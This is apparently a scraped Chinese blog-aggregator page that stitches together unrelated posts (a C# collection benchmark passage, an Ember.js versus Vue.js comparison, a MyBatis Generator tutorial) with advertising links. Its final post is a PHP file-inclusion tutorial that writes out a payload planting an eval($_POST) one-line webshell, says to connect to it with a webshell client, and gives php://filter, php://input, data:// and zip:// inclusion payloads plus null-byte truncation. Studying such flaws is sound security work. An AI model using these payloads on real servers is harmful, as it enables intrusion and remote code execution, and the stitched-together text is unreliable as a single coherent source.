        ///     1、長度不固定,在定義是不必擔長度溢出
        ///     2、可以存儲任意數據類型
        ///     3、可根據索引查詢,查詢效率快
        /// 缺點:
        ///     1、由於長度不固定,執行效率低下,因為超出默認長度(10)后,會自動擴容拷貝數據,犧牲性能
        ///     2、由於存儲類型是object,所以在存數據時會有裝箱操作,在取數據時會有拆箱操作,影響效率
        ///     3、線程不安全,因為其內部實現是用size、array來共同控制,在新增操作時是非原子操作,所以非安全線程
        ///     
        /// 使用技巧:
        ///     在實際使用過程中,為了避免自動擴容,可以預估數據長度,初始化一個數據長度,從而提高效率

        /// ArrayList操作實例
        public static void ArrayListOpert()
        {

            //// 定義一個秒錶,執行獲取執行時間
            Stopwatch st = new Stopwatch();//實例化類

            //// 需要統計時間的代碼段(統計初始化長度時的執行時間)
            st.Start();//開始計時
            Console.WriteLine("");
            Console.WriteLine("");
            Console.WriteLine("ArryList集合存儲數據量為10000000,初始化一個長度,執行開始:");

            ArrayList arrayList = new ArrayList(10000000);

            //// 定義一個數組
            for (int i = 0; i < 10000000; i++)
            {
                arrayList.Add(1 + 1);
            }

            st.Stop();//終止計時
            Console.WriteLine(string.Format("ArryList集合存儲數據量為10000000,初始化一個長度,執行完畢:!總耗時{0}毫秒", st.ElapsedMilliseconds.ToString()));

            //// 需要統計時間的代碼段(統計初始化非指定長度時的執行時間)

            st.Restart();
            Console.WriteLine("");
            Console.WriteLine("ArryList集合存儲數據量為10000000,初始化不指定長度,執行開始:");

            arrayList = new ArrayList();

            //// 定義一個數組
            for (int i = 0; i < 10000000; i++)
            {
                arrayList.Add(1 + 1);
            }

            st.Stop();//終止計時
            Console.WriteLine(string.Format("ArryList集合存儲數據量為10000000,初始化不指定長度,執行完畢:!總耗時{0}毫秒", st.ElapsedMilliseconds.ToString()));
        }
    }

 

四、List集合簡介

 

隨着c#泛型的推出,為了避免ArrayList一些缺點,微軟推出了List集合
List集合內部還是採用的Array實現,同時在定義時需要指定對應的數據類型
這樣級保留了Array集合的優點,同時也避免了ArrayList集合的數據類型不安全和裝箱帶來的性能犧牲
List特點:

  • 1、數據長度不固定,自動增加
  • 2、存儲相同的數據類型
  • 3、可根據索引查詢,查詢效率快

優缺點:
優點:
1、長度不固定,在定義是不必擔長度溢出
2、存儲相同數據類型的數據,避免的數據的裝箱拆箱,提高了數據處理效率
3、支持索引查詢,查詢效率快
缺點:
1、由於長度不固定,執行效率低下,因為超出默認長度(10)后,會自動擴容拷貝數據,犧牲性能
2、線程不安全,因為其內部實現是用size、array來共同控制,在新增操作時是非原子操作,所以非安全線程

 

練習實例代碼:

   /// <summary>
    /// List練習操作
    /// </summary>
    public class ListTest
    {
        /// 隨着c#泛型的推出,為了避免ArrayList一些缺點,微軟推出了List集合
        /// List集合內部還是採用的Array實現,同時在定義時需要指定對應的數據類型
        /// 這樣級保留了Array集合的優點,同時也避免了ArrayList集合的數據類型不安全和裝箱帶來的性能犧牲
        /// List特點:
        /// 1、數據長度不固定,自動增加
        /// 2、存儲相同的數據類型
        /// 3、可根據索引查詢,查詢效率快
        /// 
        /// 優缺點:
        /// 優點:
        ///     1、長度不固定,在定義是不必擔長度溢出
        ///     2、存儲相同數據類型的數據,避免的數據的裝箱拆箱,提高了數據處理效率
        ///     3、支持索引查詢,查詢效率快
        /// 缺點:
        ///     1、由於長度不固定,執行效率低下,因為超出默認長度(10)后,會自動擴容拷貝數據,犧牲性能
        ///     2、線程不安全,因為其內部實現是用size、array來共同控制,在新增操作時是非原子操作,所以非安全線程

        /// ArrayList操作實例
        public static void ListOpert()
        {
            //// 定義一個秒錶,執行獲取執行時間
            Stopwatch st = new Stopwatch();//實例化類
            st.Start();//開始計時
                       //// 需要統計時間的代碼段(統計初始化長度時的執行時間)
            Console.WriteLine("");
            Console.WriteLine("");
            Console.WriteLine("List集合存儲數據量為10000000,初始化一個長度,執行開始:");

            List<int> list = new List<int>(10000000);

            //// 定義一個數組
            for (int i = 0; i < 10000000; i++)
            {
                list.Add(1 + 1);
            }

            //需要統計時間的代碼段

            st.Stop();//終止計時
            Console.WriteLine(string.Format("List集合存儲數據量為10000000,初始化一個長度,執行完畢:!總耗時{0}毫秒", st.ElapsedMilliseconds.ToString()));

            //// 需要統計時間的代碼段(統計初始化非指定長度時的執行時間)
            st.Restart();
            Console.WriteLine("");
            Console.WriteLine("List集合存儲數據量為10000000,初始化不指定長度,執行開始:");

            list = new List<int>();

            //// 定義一個數組
            for (int i = 0; i < 10000000; i++)
            {
                list.Add(1 + 1);
            }

            st.Stop();//終止計時
            Console.WriteLine(string.Format("List集合存儲數據量為10000000,初始化不指定長度,執行完畢:!總耗時{0}毫秒", st.ElapsedMilliseconds.ToString()));
        }
    }

 

五、LinkedList集合簡介

LinkedList鏈表的底層是採用雙向鏈表的方式實現,
在鏈表(Linked List)中,每一個元素都指向下一個元素,以此來形成了一個鏈(chain)
可以從頭部和尾部插入數據,在存儲內存上採用非連續方式存儲,鏈表有如下一些特點

  • 1、內存存儲上是非連續的
  • 2、能夠支持從頭部和底部同時插入
  • 3、長度是非固定的

優缺點:
優點:
1、由於非連續存儲,中部插入和刪除元素效率高
2、長度非固定,在創建時不用考慮其長度
3、可以沖頭部和底部添加元素
4、數據類型是安全的,在創建時需要指定的數據類型
缺點:
1、由於非連續存儲,不能通過小標訪問,查詢效率低

練習實例代碼:

    /// <summary>
    /// LinkedList練習操作
    /// </summary>
    public class LinkedListTest {
        /// LinkedList鏈表的底層是採用雙向鏈表的方式實現,
        /// 在鏈表(Linked List)中,每一個元素都指向下一個元素,以此來形成了一個鏈(chain)
        /// 可以從頭部和尾部插入數據,在存儲內存上採用非連續方式存儲,鏈表有如下一些特點
        /// 1、內存存儲上是非連續的
        /// 2、能夠支持從頭部和底部同時插入
        /// 3、長度是非固定的
        /// 優缺點:
        /// 優點:
        ///     1、由於非連續存儲,中部插入和刪除元素效率高
        ///     2、長度非固定,在創建時不用考慮其長度
        ///     3、可以沖頭部和底部添加元素
        ///     4、數據類型是安全的,在創建時需要指定的數據類型
        ///  缺點:
        ///     1、由於非連續存儲,不能通過小標訪問,查詢效率低

        /// LinkedList操作實例
        public static void LinkedListTestOpert() {
            //// 定義一個秒錶,執行獲取執行時間
            Stopwatch st = new Stopwatch();//實例化類
            st.Start();//開始計時
                       //// 需要統計時間的代碼段(統計初始化長度時的執行時間)
            Console.WriteLine("");
            Console.WriteLine("");
            Console.WriteLine("Linked集合存儲數據量為10000000,執行開始:");

            LinkedList<int> list = new LinkedList<int>();

            //// 定義一個數組
            for (int i = 0; i < 10000000; i++)
            {
                list.AddFirst(1 + 1);
            }

            //需要統計時間的代碼段

            st.Stop();//終止計時
            Console.WriteLine(string.Format("Linked集合存儲數據量為10000000,執行完畢:!總耗時{0}毫秒", st.ElapsedMilliseconds.ToString()));
        }
    }

 

六、每種集合數據執行結果對比分析

 

    class Program
    {
        static void Main(string[] args)
        {
            //// array數組操作測試
            ArrayTest.IntArrayTest();

            //// arrayList集合操測試
            ArrayListTest.ArrayListOpert();

            //// List集合操作測試
            ListTest.ListOpert();

            //// LinkedList集合操作測試
            LinkedListTest.LinkedListTestOpert();

            ///// 通過測試數據
            //通過測試數據大概可以分析得出一些結論
            //1、整體效率上Array效率最高,ArrayList效率最低,List效率介於Array和ArrayList之間
            //2、ArrayList和List集合,在定義時如果知道數據長度,那麼初始化時,指定長度的效率比不指定的長度效率高
            
            
            //總結:
            //在數據集合使用選擇上給出以下一些建議:
            //1、Array:當元素的數量是固定的,並且需要使用下標時
            //2、ArrayList:當存儲的元素類型不同時
            //3、List:當元素的數量是固定的,並且需要使用下標時
            //4、LinkedList:當元素需要能夠在列表的兩端添加時
            Console.ReadLine();
        }
    }

  執行結果數據

 

通過測試數據大概可以分析得出一些結論
1、整體效率上Array效率最高,ArrayList效率最低,List效率介於Array和ArrayList之間
2、ArrayList和List集合,在定義時如果知道數據長度,那麼初始化時,指定長度的效率比不指定的長度效率高

七、總結:

在數據集合使用選擇上給出以下一些建議:
1、Array:當元素的數量是固定的,並且需要使用下標時
2、ArrayList:當存儲的元素類型不同時,初始化時給一個預估的長度
3、List:當元素的數量是固定的,並且需要使用下標時,初始化時給一個預估的長度
4、LinkedList:當元素需要能夠在列表的兩端添加時

附件:

 

關於這一些練習的代碼,上傳到github,有興趣的可以看一下:

 

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

※評比南投搬家公司費用收費行情懶人包大公開

Ember.js和Vue.js對比,哪個框架更優秀?

本文由葡萄城技術團隊於博客園翻譯並首發

轉載請註明出處:,葡萄城為開發者提供專業的開發工具、解決方案和服務,賦能開發者。

JavaScript最初是為Web應用程序創建的。但是隨着前端技術的發展,大多數開發人員更喜歡使用基於JavaScript的框架。它簡化了你的代碼以及使你能完成更多全棧工作,您幾乎可以在任何框架中使用JavaScript。

使用什麼類型的框架決定了創建應用程序的便捷程度。因此,您必須慎重選擇。在已經足夠複雜的前端環境里,其中兩個框架脫穎而出。我們會在本文中對Ember.js和Vue.js之間進行對比,以幫助你更好的做出判斷。

為什麼要選擇框架?

在開始比較這兩個框架之前,我們應該先來了解下選擇一個框架的決定因素都有什麼。每個開發人員選擇一個框架之前,讓我們看看選擇的理由。

  • 代碼必須簡單易懂。
  • 應以更少的代碼量產出更多的功能。
  • 應提供一個布局合理的工作框架。
  • 是否支持內置路由或外部插件的路由?
  • 應該能夠在頁面加載時傳輸更多數據,從而使頁面成為單頁應用,單頁應用程序使用體驗顯然更好。
  • 在單頁架構中,如果用戶需要共享應用子頁面鏈接,那麼框架應該具有基於URL路由不同功能的能力。
  • 更嚴格的模板選項有助於實現雙向綁定。
  • 不應與任何第三方庫產生衝突。
  • 應該很容易測試框架內的代碼。
  • 應為Ajax調用提供HTTP客戶端服務
  • 文檔也必不可少,應該是完整且最新。
  • 應該與瀏覽器的最新版本兼容。
  • 必須滿足上述條件,便於APP的構建。您必須確保所選擇的框架符合條件。

Vue.js

開發人員總是在尋找新的框架來構建他們的應用程序。主要要求是速度快、成本低。這個框架應該很容易被新開發人員理解並且能夠以更低的成本使用。其他考慮選項還有簡單的編碼方式、健全的幫助文檔等。

在Web應用程序開發中,VUEJS在軟件語言方面結合了很多優點。VUE.JS的體繫結構易於使用。使用VUE.JS開發的應用程序很容易與新的應用程序集成。

VUE.JS是一個非常輕量級的框架。你能很快的下載到它。它也比其他框架快得多。該框架的單文件組件性質也很棒。這個尺寸使它很受歡迎。

同時你可以進一步減少它的體積。使用Vue.js可以將模板和編譯器分離為虛擬DOM。您只能部署只有12 KB的壓縮后的壓縮解釋器。您可以在您的機器中編譯模板。

Vue.js的另一個重要優點是它可以輕鬆地與使用JavaScript創建的現有應用程序集成。使用此框架可以輕鬆地對已經存在的應用程序進行更改。

Vue.js還可輕鬆與其他前端庫集成。您可以插入另一個庫,以彌補此框架中的任何不足。此功能使該工具成為通用工具。

Vue.js使用服務器端渲染流的方法。它使服務器具有較高的響應速度。 你的用戶將很快獲得渲染的內容。

Vue.js非常適合SEO。由於該框架支持服務器端渲染,因此視圖直接在服務器上渲染。便於搜索引擎直接索引到這些網頁內容。

但對你來說最重要的是你可以輕鬆地學習Vue.js。該結構是基本的。即使是新的開發人員,也會發現使用它來構建應用程序很容易。該框架有助於開發大型和小型模板。它有助於節省大量時間。

您可以返回並輕鬆檢查錯誤。除了測試組件外,您還可以返回並檢查所有狀態。就任何開發人員而言,這是另一個重要功能。

Vue.js也有非常詳細的文檔。它有助於為你快速上手開發應用程序。您可以使用HTML或JavaScript的基本知識來構建網頁或應用。

  • Vue.js它能與其他應用程序集成
  • Vue.js輕巧且快速。通過部署解釋器,就可以使它更輕量
  • 您可以將編譯器和模板分離為虛擬DOM。
  • 得益於便於集成的優點,您可以使用它來對現有應用進行更改
  • 豐富的庫和組件為你的應用程序帶來更多可能
  • 應用能夠快速響應。
  • 服務器端渲染還有助於使搜索引擎排名更高。
  • 結構簡單。易於任何新開發者使用
  • 您可以返回檢查並更正錯誤。
  • 您可以檢查所有現有狀態。
  • 詳細的文檔有助於快速構建網頁或應用程序。

Ember.js

Ember.js是MVVM模型框架。它是開源軟件。該平台主要用於創建複雜的多頁面應用程序。它保持最新的特性,並不會丟棄任何舊功能。

通過這個框架,您必須嚴格遵循框架的體繫結構。JS框架是非常嚴密的組織。所以它降低了和其他框架可能提供的靈活性。

它的平台和工具有非常完善的控制系統。您可以使用提供的工具將其與新版本集成,以避免使用過時的API。

您可以輕鬆了解Ember的API。他們也很容易工作。您可以簡單,直接地使用高度複雜的功能。

當類似的工作一起處理時,性能更好。它創建了相似的綁定和DOM更新,讓瀏覽器一次性處理它們,以提高性能。這樣則將避免為每個工作重複計算,以免浪費大量時間。

因為Promise無處不在,所以你可以以簡單的方式編寫代碼和模塊,使用 Ember 的任何 API。

同時Ember也有一個很不錯的上手指南。上面記錄著API的使用方式。Ember明確了一般應用程序的組織和結構,因此你將不會犯任何錯誤。你將不可能在不必要的情況下使程序複雜化。Ember的模板語言是Handlebar,Handlebar簡潔的語法可以使你可以輕鬆閱讀和理解模板,同樣的也能使頁面加載速度變得更快。使用Handlebar另一個優勢是,不必每次在頁面上添加或刪除數據時都更新模板。語言本身將自動為你完成。

最後,Ember.js擁有一個活躍的社區,可以定期更新框架並從而促進向後兼容

  • Ember.js是適用於複雜結構的多頁應用程序的MVVM模型開源框架。
  • 同時提供了最新功能和舊的功能。
  • 它有一個非常嚴密的結構框架,不能提供太高的靈活性
  • 非常完善的控制系統可幫助你與新版本完美集成。
  • 對避免使用過時的API版本有着嚴格的指導。
  • Ember的API可幫助您以簡單的方式使用複雜的功能
  • 該框架提供高效的運算機制,以保證運行效率
  • Promise可讓你使用Ember.js的任何API來編寫模塊化和簡單的代碼。
  • Ember.js是一個完全加載的前端框架。
  • 框架穩定,因為所有組件都具有相同的功能和屬性。
  • 具有明確定義的限制,可防止您使應用程序複雜化
  • Handlebar使你可以輕鬆閱讀和理解模板。並且還有助於更快地加載模板。
  • 每次添加或刪除數據時,Handlebar將確保更新模板。
  • Ember.js有一個活躍的社區,可以定期更新框架並從而促進向後兼容。

Ember.js Vue.js對比

當你需要將原有應用程序向現代框架上遷移時,Vue.js可以為您提供幫助。它結合了其他框架的許多優點。Vue.js面向開發過程的框架,所以沒有提供現成的界面元素庫。但是,許多第三方社區庫可以為您提供幫助。

Ember.js為您提供了一個值得信賴的成熟框架。當你的開發團隊規模很大時,這個框架比較合適。由於MVVM結構所致,它使每個人都可以為項目做出貢獻。

Vue.js可以幫助你兼容應用程序中不同類型的語法,它有助於輕鬆編寫代碼,同時由於後端渲染,它也是一個對SEO友好的框架。而Ember是一個完全加載的前端框架,可以幫助您非常快速地開發應用程序。但是它不適合開發小型項目。

很難說誰比誰更具優勢。選擇哪個框架將取決於你實際參与的項目類型是什麼。兩者都有其優缺點,所以我為大家總結了一張表,也許它能幫助你更好地進行對比:

 

總結

選擇什麼,取決於您要開發的應用程序。這兩個框架都在發展中。兩者也都在更新。

雖然Ember是一個全棧框架,但它太複雜了,很難應用於較小的項目。而Vue.js憑藉著輕盈的體量,易於上手的特點,使開發應用程序變得異常高效,從而獲得了不少行業的開發者的青睞。

此外,無論選擇什麼類型的框架,葡萄城都為廣大開發者提供了兼容各類框架的開發組件,例如:和 ,為開發者賦能。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家費用,距離,噸數怎麼算?達人教你簡易估價知識!

一分鐘帶你學會利用mybatis-generator自動生成代碼!

目錄

之前的文章介紹了XML配置方式整合的過程,本文介紹下利用Mybatis-generator生成xml、dao、entity的過程。

一、MyBatis Generator簡介

MyBatis Generator是MyBatis官方提供的代碼生成器,可以生成xml、dao、entity。

官網介紹見:http://mybatis.org/generator/

二、使用方式

MyBatis Generator的使用方式有4種:

  • 命令行生成
  • Maven方式生成
  • 使用Ant任務生成
  • 使用Java代碼生成

本文將使用Intel IDEA+Maven方式生成代碼,因為集成和使用比較簡單,配置完成后直接雙擊運行即可。

三、實戰

首先新建一個SpringBoot項目spring-mybatis-generator,然後按照下面步驟操作。

  1. pom.xml中配置plugin
<!-- 引入mybatis-generator 插件 -->
<plugin>
    <groupId>org.mybatis.generator</groupId>
    <artifactId>mybatis-generator-maven-plugin</artifactId>
    <version>1.3.2</version>
    <configuration>
        <!-- mybatis-generator的配置文件,根據情況調整位置 -->
        <configurationFile>src/main/resources/mybatis-generator.xml</configurationFile>
        <verbose>true</verbose>
        <overwrite>true</overwrite>
    </configuration>
    <executions>
        <execution>
            <id>Generate MyBatis Artifacts</id>
            <goals>
                <goal>generate</goal>
            </goals>
        </execution>
    </executions>
    <dependencies>
        <dependency>
            <groupId>org.mybatis.generator</groupId>
            <artifactId>mybatis-generator-core</artifactId>
            <version>1.3.2</version>
        </dependency>
    </dependencies>
</plugin>
  1. 修改mybatis-generator.xml文件

上一步pom.xml中指定了一個配置文件,所以在resources目錄下新建mybatis-generator.xml,MyBatis Generator通過這個配置文件才可以進行如下操作:

  • 如何連接到數據庫
  • 生成什麼對象,以及如何生成它們
  • 哪些表應用於對象生成

完整內容下面會有,需要注意的是。

JDBC驅動jar的路徑一定要寫絕對路徑。
JDBC驅動jar的路徑一定要寫絕對路徑。
JDBC驅動jar的路徑一定要寫絕對路徑。

重要的事情說3遍。

mybatis-generator.xml完整內容如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE generatorConfiguration
        PUBLIC "-//mybatis.org//DTD MyBatis Generator Configuration 1.0//EN"
        "http://mybatis.org/dtd/mybatis-generator-config_1_0.dtd">
<generatorConfiguration>

    <!--JDBC驅動jar包的 絕對路徑 -->
    <!--JDBC驅動jar包的 絕對路徑 -->
    <!--JDBC驅動jar包的 絕對路徑 -->
    <classPathEntry location="C:\Users\java_suisui\.m2\repository\mysql\mysql-connector-java\5.1.39\mysql-connector-java-5.1.39.jar"/>

    <!--defaultModelType="flat" 大數據字段,不分表 -->
    <context id="Mysql" targetRuntime="MyBatis3Simple" defaultModelType="flat">
        <property name="autoDelimitKeywords" value="true" />
        <property name="beginningDelimiter" value="`" />
        <property name="endingDelimiter" value="`" />
        <property name="javaFileEncoding" value="utf-8" />
        <plugin type="org.mybatis.generator.plugins.SerializablePlugin" />

        <plugin type="org.mybatis.generator.plugins.ToStringPlugin" />

        <!-- 註釋 -->
        <commentGenerator >
            <property name="suppressAllComments" value="true"/><!-- 是否取消註釋 -->
            <property name="suppressDate" value="true" /> <!-- 是否生成註釋代時間戳-->
        </commentGenerator>

        <!--數據庫鏈接地址賬號密碼-->
        <jdbcConnection driverClass="com.mysql.jdbc.Driver"
                        connectionURL="jdbc:mysql://localhost:3306/demo"
                        userId="root"
                        password="123456">
        </jdbcConnection>

        <!-- 類型轉換 -->
        <javaTypeResolver>
            <!-- 是否使用bigDecimal, false可自動轉化以下類型(Long, Integer, Short, etc.) -->
            <property name="forceBigDecimals" value="false"/>
        </javaTypeResolver>

        <!--生成Model類存放位置-->
        <javaModelGenerator targetPackage="com.example.springbootmybatis.generator.entity" targetProject="src/main/java">
            <property name="enableSubPackages" value="true"/>
            <property name="trimStrings" value="true"/>
        </javaModelGenerator>

        <!-- 生成mapxml文件 -->
        <sqlMapGenerator targetPackage="mapper" targetProject="src/main/resources" >
            <property name="enableSubPackages" value="false" />
        </sqlMapGenerator>

        <!-- 生成mapxml對應client,也就是接口dao -->
        <javaClientGenerator targetPackage="com.example.springbootmybatis.generator.dao" targetProject="src/main/java" type="XMLMAPPER" >
            <property name="enableSubPackages" value="false" />
        </javaClientGenerator>

        <table tableName="user" enableCountByExample="true" enableUpdateByExample="true" enableDeleteByExample="true" enableSelectByExample="true" selectByExampleQueryId="true">
            <generatedKey column="id" sqlStatement="Mysql" identity="true" />
        </table>

        <table tableName="user_role" enableCountByExample="true" enableUpdateByExample="true" enableDeleteByExample="true" enableSelectByExample="true" selectByExampleQueryId="true">
            <generatedKey column="id" sqlStatement="Mysql" identity="true" />
        </table>

    </context>
</generatorConfiguration>
  1. 生成代碼

點擊IntelIDEA右側的“Maven Projects”,找到spring-boot-mybatis-generator下面的mybatis-generator:generate,雙擊運行,日誌中出現“BUILD SUCCESS”說明代碼已生成。

運行截圖:

生成代碼截圖:

運行日誌:

[INFO] Scanning for projects...
[INFO]                                                                         
[INFO] ------------------------------------------------------------------------
[INFO] Building spring-boot-mybatis-generator 0.0.1-SNAPSHOT
[INFO] ------------------------------------------------------------------------
[INFO] 
[INFO] --- mybatis-generator-maven-plugin:1.3.2:generate (default-cli) @ spring-mybatis-generator ---
[INFO] Connecting to the Database
[INFO] Introspecting table user
log4j:WARN No appenders could be found for logger (org.mybatis.generator.internal.db.DatabaseIntrospector).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.
[INFO] Introspecting table user_role
[INFO] Generating Record class for table user
[INFO] Generating Mapper Interface for table user
[INFO] Generating SQL Map for table user
[INFO] Generating Record class for table user_role
[INFO] Generating Mapper Interface for table user_role
[INFO] Generating SQL Map for table user_role
[INFO] Saving file UserMapper.xml
[INFO] Saving file UserRoleMapper.xml
[INFO] Saving file User.java
[INFO] Saving file UserMapper.java
[INFO] Saving file UserRole.java
[INFO] Saving file UserRoleMapper.java
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------

到此利用mybatis-generator自動生成代碼已經全部介紹完成了,有問題歡迎留言溝通哦!

完整源碼地址:

推薦閱讀

限時領取免費Java相關資料,涵蓋了Java、Redis、MongoDB、MySQL、Zookeeper、Spring Cloud、Dubbo/Kafka、Hadoop、Hbase、Flink等高併發分佈式、大數據、機器學習等技術。
關注下方公眾號即可免費領取:

本文由博客一文多發平台 發布!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享

文件包含漏洞原理淺探

文件包含漏洞原理淺探

By : Mirror王宇陽

E-mail : mirrorwangyuyang@gmail.com

聯繫方式: 2821319009 (QQ)

個人主頁: https://www.cnblogs.com/wangyuyang1016/

文件包含

文件包含是指一個文件裡面包含另外一個文件;開發過程中,重複使用的函數會寫入單獨的文件中,需要使用該函數的時候直接從程序中調用該文件即可,這一個過程就是“文件包含”

由於文件包含的功能特性,導致客戶端可以調用一個惡意文件,進行動態調用

PHP文件包含

PHP提供了四個文件包含函數提供的功能強大且靈活多變,經常存在文件包含函數

危險包含函數(PHP)

include()

無法查到被包含的文件時產生錯誤”E_COMPLE_ERROR”停止運行

include_once()

和前者一樣,如果文件中的代碼已經包含了,則不再會包含

require()

無法查到被包含的文件是產生警告”E_WARNING”繼續運行

require_once()

和前者一樣,無法查到被包含的文件是產生警告”E_WARNING”繼續運行

文件包含實例

開發演示

<?php
    include("ArrayUtil.php"); //利用include函數包含
    $arr = array("sougou","google","yahoo","baidu","FackBook");
    PrintArr($arr);
?>
<?php
    function PrintArr($arr,$sp=' ==> ',$lin="<br/>"){
        foreach ($arr as $key => $value) {
            echo "$key $sp $value $lin";
        }
    }
?>

在index.php文件中使用include函數文件包含ArrayUtil.php文件,在index.php中可以使用ArrayUtil.php文件中的PrintArr()函數;在index.php第4行我們調用了PrintArr()函數。

使用瀏覽器訪問index.php

漏洞演示(本地執行)

<?php
    include("phpinfo.txt");
?>
<?php
    phpinfo();
?>

喏!一個txt文件被成功包含了;筆者測試了其它各種服務器可接受的文件格式,均實驗成功!由此筆者得到的論證是:include()函數包含的任何文件都會以PHP文件解析,但前提是文件的內容符合PHP代碼規範;若內容不符合PHP代碼規範則會在頁面暴露文件內容(這是重點)

漏洞演示(遠程執行)

PHP不單單可以在服務端(本地)執行文件包含,也可以遠程執行文件包含;

遠程的文件包含執行需要修改PHP.ini配置文件(php默認關閉遠程包含文件)

allow_url_include = on

由於我們不具備遠程條件,只好本地搭建環境將就一下哈!!!

D:\phpStudy\phpinfo.txt

<?php
    phpinfo();
?>

127.0.0.1/index.php

<?php
    include("D:\phpStudy\phpinfo.txt");
?>

換一個方法

這裏的URL參數值提交的只是一個遠程包含文件的URL地址;遠程文件包含和本地文件包含的解析方法一樣,只要符合PHP代碼規範就可以按照PHP代碼解析執行。

如果我們包含的文件不存在,則會發生Error,網站的路徑就會暴露!

PHP文件包含漏洞基本利用

讀取敏感文件

構造類似http://127.0.0.1/?url=.\phpinfo.txt

喏!我們看見了文本內容,為什麼呢?

因為include()函數會執行文件包含,不管是什麼格式的文件只要符合PHP代碼規範的內容就會按照PHP解析;而不符合PHP代碼規範的則會直接輸出文件內容。

綜合特性:利用該特性包含文件的方法,訪問本地的其它文件均會執行php解析或者回顯文本的內容;尤其是系統敏感文件,例如php.ini配置文件、my.ini配置文件等敏感信息,而文件的路徑則需要結合其它姿勢來獲得(例如上面利用error回顯的方式)

重要的一點:得具有文件的操作權限哦

遠程包含Shell

遠程包含文本的條件是 allow_url_fopen= on

創建shell.txt(功能:在服務端本地創建一句話木馬腳本)

<?php
    $key= ("<?php @eval(\$_POST['mirror']);?>");//$符號需要轉義要按字符存
    $file = fopen("shell.php","w");
    fwrite($file, $key);
    fclose($file);
?>

構造:http://127.0.0.1/?url=..\xx\shell.txt

遠程包含文本執行成功后,服務端本地會創建一個”shell.php”一句話木馬執行文件

shell.php創建后,使用“菜刀”連接一句話:

喏!包含執行文件創建本地一個shell.php一句話木馬,然後菜刀連木馬!一梭子搞定!

文件包含配合上傳

利用web應用的上傳功能,上傳一張偽木馬圖片,然後利用文件包含執行已上傳的圖片,然後偽木馬圖片的功能就是被包含執行后在服務端本地創建一個木馬執行php文件

PHP封裝協議利用

PHP內置很多的,封裝協議的功能和文件函數(fopen(),copy(),file_exists(),filesize())提供的功能相似

allow_url_fopen:on 默認開啟 該選項為on便是激活了 URL 形式的 fopen 封裝協議使得可以訪問 URL 對象文件等。

allow_url_include:off 默認關閉,該選項為on便是允許 包含URL 對象文件等

考慮安全都是全部關閉

【引用官方文檔】

  • — 訪問本地文件系統
  • — 訪問 HTTP(s) 網址
  • — 訪問 FTP(s) URLs
  • — 數據(RFC 2397)
  • — 查找匹配的文件路徑模式
  • — PHP 歸檔
  • — Secure Shell 2
  • — RAR
  • — 音頻流
  • — 處理交互式的流
file://協議:

訪問本地文件系統

file://[本地文件的絕對路徑和文件名]

訪問各個IO流

需要開啟 allow_url_include: on

  • php://stdin:直接訪問PHP進程相應的輸入或輸出流(只讀)

  • php://stdout:直接訪問PHP進程相應的輸入或輸出流(只寫)

  • php://stderr:直接訪問PHP進程相應的輸入或輸出流(只寫)

  • php://filter:進行任意文件讀取的利用

  • php://input:訪問請求的原始數據的只讀流,將post請求中的數據作為php解析

  • php://output:只寫的數據流,允許print和echo方式寫入到輸出緩存中

  • php://fd: 允許直接訪問指定的文件描述符

    更多詳細可以參考官方php://協議文檔

zip://協議:

(zip:// , bzip2:// , zlib:// )屬於壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定後綴名

zip:// [壓縮文件絕對路徑]#[壓縮文件內的子文件名]

注意 井字符號 ’ # ‘ 在url中需要轉為 %23

allow_utl_include= On

data://text/plain;base64,[string_base64加密后]

查詢匹配的文件路徑模式

glob://[url]
<?php
// 循環 ext/spl/examples/ 目錄里所有 *.php 文件
// 並打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

處理交互式數據流(默認未開啟,需要安裝PECL—Expect擴展)

expect://command

參見文章

讀取PHP文件

利用file://讀取文件內容

file://[本地文件的絕對路徑和文件名]

利用php://filter讀取php文件內容

http://127.0.0.1/?url=php://filter/read=convert.base64-encode/resource=shelll.php

這裏的結果是經過Base64加密的

寫入PHP文件
利用php://input:

使用php://input可以執行PHP語句,但是受限於allow_utl_include= On

url text:

http://127.0.0.1/index.php/?url=php://input

Post data:

<?php phpinfo();?>

喏!利用“php://input”執行php代碼”post data數據內容“,這裏只是回顯phpinfo(),如果我們利用php://input執行服務端本地創建php一句話木馬文件,後果可想而知

利用data://:

受限於allow_utl_include= Onphp.ini配置

?file=[data://text/plain;base64,[base64編碼加密的payload)]

注意沒有php閉合標籤

利用zip://:
?url=zip://C:\Users\Mirror\Desktop/zip.zip%23shell.php

總結

上面這張圖是筆者從FREEBUF漏斗社區的文章中copy來的,算是一個不錯的總結^_^

截斷包含

magic_quotes_gpc = off函數為Off狀態才可以使用,因為在On狀態下%00會被轉義導致無法截斷;https://www.cnblogs.com/timelesszhuang/p/3726736.html

PHP6/7關閉了magic_quotes_gpc函數:

文件包含的漏洞修復,尤其是include()相關文件包含函數,只要限制後綴名就好了?

<?php
    if(iset($_GET['url'])){
            include $_GET['url'].".php";
    } else{
        include 'home.php';
    }
?>

上述程序就是固定限制後綴名,用戶只需要指明文件名就可以,不需要用戶提交後綴名

現在我們利用之前的包含手段,包含”shell.php”文件

http://127.0.0.1/index.php/?url=shell.php

由於程序固定了文件後綴格式,於是在後台會構成

shell.php.php

